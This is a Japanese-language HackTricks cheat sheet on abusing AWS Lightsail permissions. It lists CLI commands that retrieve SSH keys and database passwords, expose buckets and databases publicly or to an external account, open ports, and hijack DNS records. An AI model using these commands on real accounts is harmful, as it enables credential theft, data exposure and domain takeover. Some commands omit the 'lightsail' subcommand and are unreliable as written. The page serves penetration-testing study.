AWS - Lightsail Privesc

HackTricksをサポートする

Lightsail

Lightsailに関する詳細情報は、以下を確認してください:

Lightsailはユーザーに属するIAMロールを使用しないことに注意することが重要です。代わりにAWS管理アカウントを使用するため、このサービスを利用して権限昇格を行うことはできません。しかし、コード、APIキー、データベース情報などの機密データがこのサービス内に見つかる可能性があります。

lightsail:DownloadDefaultKeyPair

この権限により、インスタンスにアクセスするためのSSHキーを取得できます:

aws lightsail download-default-key-pair

潜在的な影響: インスタンス内の機密情報を見つける。

lightsail:GetInstanceAccessDetails

この権限を使用すると、インスタンスにアクセスするためのSSHキーを生成できます:

aws lightsail get-instance-access-details --instance-name <instance_name>

潜在的な影響: インスタンス内の機密情報を見つける。

lightsail:CreateBucketAccessKey

この権限を使用すると、バケットにアクセスするためのキーを取得できます:

aws lightsail create-bucket-access-key --bucket-name <name>

潜在的な影響: バケット内の機密情報を見つける。

lightsail:GetRelationalDatabaseMasterUserPassword

この権限を使用すると、データベースにアクセスするための資格情報を取得できます。

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

潜在的な影響: データベース内の機密情報を見つける。

lightsail:UpdateRelationalDatabase

この権限により、データベースにアクセスするためのパスワードを変更できます:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

データベースが公開されていない場合、次の権限を使用して公開することもできます

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

潜在的な影響: データベース内の機密情報を見つける。

lightsail:OpenInstancePublicPorts

この権限は、ポートをインターネットに開放することを許可します。

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

潜在的な影響: 機密ポートへのアクセス。

lightsail:PutInstancePublicPorts

この権限は、ポートをインターネットに開放することを許可します。指定されていないポートは閉じられることに注意してください。

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

潜在的な影響: 機密ポートへのアクセス。

lightsail:SetResourceAccessForBucket

この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを付与することを可能にします。

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

潜在的な影響: 機密情報を含むバケットへの新しいアクセスの可能性。

lightsail:UpdateBucket

この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

潜在的な影響: 機密情報を含むバケットへの新しいアクセスの可能性。

lightsail:UpdateContainerService

この権限を持つ攻撃者は、コンテナサービスからプライベートECRへのアクセスを付与することができます。

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

潜在的影響: プライベートECRから機密情報を取得する

lightsail:CreateDomainEntry

この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができる(サブドメインの乗っ取り)、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的な影響: ドメインの乗っ取り

lightsail:UpdateDomainEntry

この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる(サブドメインの乗っ取り)、またはSPFレコードを作成してドメインからのメールを偽装することを可能にするか、さらにはメインドメインを自分のIPアドレスに設定することもできる。

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

潜在的影響: ドメインの乗っ取り

HackTricksをサポートする

Last updated